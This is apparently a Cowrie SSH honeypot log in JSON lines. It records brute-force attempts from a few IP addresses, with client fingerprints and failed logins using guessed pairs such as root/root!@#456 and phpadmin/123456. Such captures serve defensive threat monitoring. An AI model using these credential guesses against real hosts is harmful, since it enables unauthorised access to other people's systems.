{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:09.683772Z","src_ip":"141.11.88.14","session":"0a78abaafd1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:09.687090Z","src_ip":"141.11.88.14","session":"0a78abaafd1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:09.833414Z","src_ip":"211.253.37.225","session":"b9ef81186fc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hades","password":"hades","message":"login attempt [hades/hades] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:10.190703Z","src_ip":"141.11.88.14","session":"0a78abaafd1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phpadmin","password":"123456","message":"login attempt [phpadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:10.783761Z","src_ip":"211.253.37.225","session":"b9ef81186fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:11.280111Z","src_ip":"141.11.88.14","session":"0a78abaafd1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":49662,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6aa0f1618d5","protocol":"ssh","message":"New connection: 103.143.231.24:49662 (10.17.0.5:22) [session: d6aa0f1618d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:11.617382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:11.624758Z","src_ip":"103.143.231.24","session":"d6aa0f1618d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:11.697293Z","src_ip":"103.143.231.24","session":"d6aa0f1618d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!@#456","message":"login attempt [root/root!@#456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:12.014578Z","src_ip":"103.143.231.24","session":"d6aa0f1618d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:12.041505Z","src_ip":"211.253.37.225","session":"b9ef81186fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:13.089978Z","src_ip":"103.143.231.24","session":"d6aa0f1618d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59286,"dst_ip":"10.17.0.5","dst_port":22,"session":"94b3d3557bf2","protocol":"ssh","message":"New connection: 141.11.88.14:59286 (10.17.0.5:22) [session: 94b3d3557bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:17.378677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:17.387326Z","src_ip":"141.11.88.14","session":"94b3d3557bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:17.497543Z","src_ip":"141.11.88.14","session":"94b3d3557bf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1qaz2wsx","message":"login attempt [deployer/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:18.021499Z","src_ip":"141.11.88.14","session":"94b3d3557bf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:19.298661Z","src_ip":"141.11.88.14","session":"94b3d3557bf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63808,"dst_ip":"10.17.0.5","dst_port":22,"session":"b51e464e8cc6","protocol":"ssh","message":"New connection: 141.11.88.14:63808 (10.17.0.5:22) [session: b51e464e8cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:26.351756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:26.374908Z","src_ip":"141.11.88.14","session":"b51e464e8cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:26.459050Z","src_ip":"141.11.88.14","session":"b51e464e8cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pds","password":"pds","message":"login attempt [pds/pds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:26.798426Z","src_ip":"141.11.88.14","session":"b51e464e8cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":33504,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b10e64c2e0","protocol":"ssh","message":"New connection: 160.191.244.158:33504 (159.203.135.109:22) [session: 57b10e64c2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:27.867579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:27.879471Z","src_ip":"160.191.244.158","session":"57b10e64c2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:27.907268Z","src_ip":"141.11.88.14","session":"b51e464e8cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:28.116845Z","src_ip":"160.191.244.158","session":"57b10e64c2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"om","password":"om123","message":"login attempt [om/om123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:29.090322Z","src_ip":"160.191.244.158","session":"57b10e64c2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:30.327724Z","src_ip":"160.191.244.158","session":"57b10e64c2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":41128,"dst_ip":"10.17.0.5","dst_port":22,"session":"194b166e4fca","protocol":"ssh","message":"New connection: 141.11.88.14:41128 (10.17.0.5:22) [session: 194b166e4fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:34.295052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:34.389253Z","src_ip":"141.11.88.14","session":"194b166e4fca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:34.392957Z","src_ip":"141.11.88.14","session":"194b166e4fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:34.928371Z","src_ip":"141.11.88.14","session":"194b166e4fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:36.021887Z","src_ip":"141.11.88.14","session":"194b166e4fca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":64522,"dst_ip":"10.17.0.5","dst_port":22,"session":"820b6f4dbc2d","protocol":"ssh","message":"New connection: 141.11.88.14:64522 (10.17.0.5:22) [session: 820b6f4dbc2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:42.374830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:42.379798Z","src_ip":"141.11.88.14","session":"820b6f4dbc2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:42.487550Z","src_ip":"141.11.88.14","session":"820b6f4dbc2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"aaa","message":"login attempt [aaa/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:42.778742Z","src_ip":"141.11.88.14","session":"820b6f4dbc2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:44.022960Z","src_ip":"141.11.88.14","session":"820b6f4dbc2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48726,"dst_ip":"10.17.0.5","dst_port":22,"session":"709d6daaeaf2","protocol":"ssh","message":"New connection: 141.11.88.14:48726 (10.17.0.5:22) [session: 709d6daaeaf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:49.610232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:50.065629Z","src_ip":"141.11.88.14","session":"709d6daaeaf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:50.069048Z","src_ip":"141.11.88.14","session":"709d6daaeaf2","protocol":"ssh"}
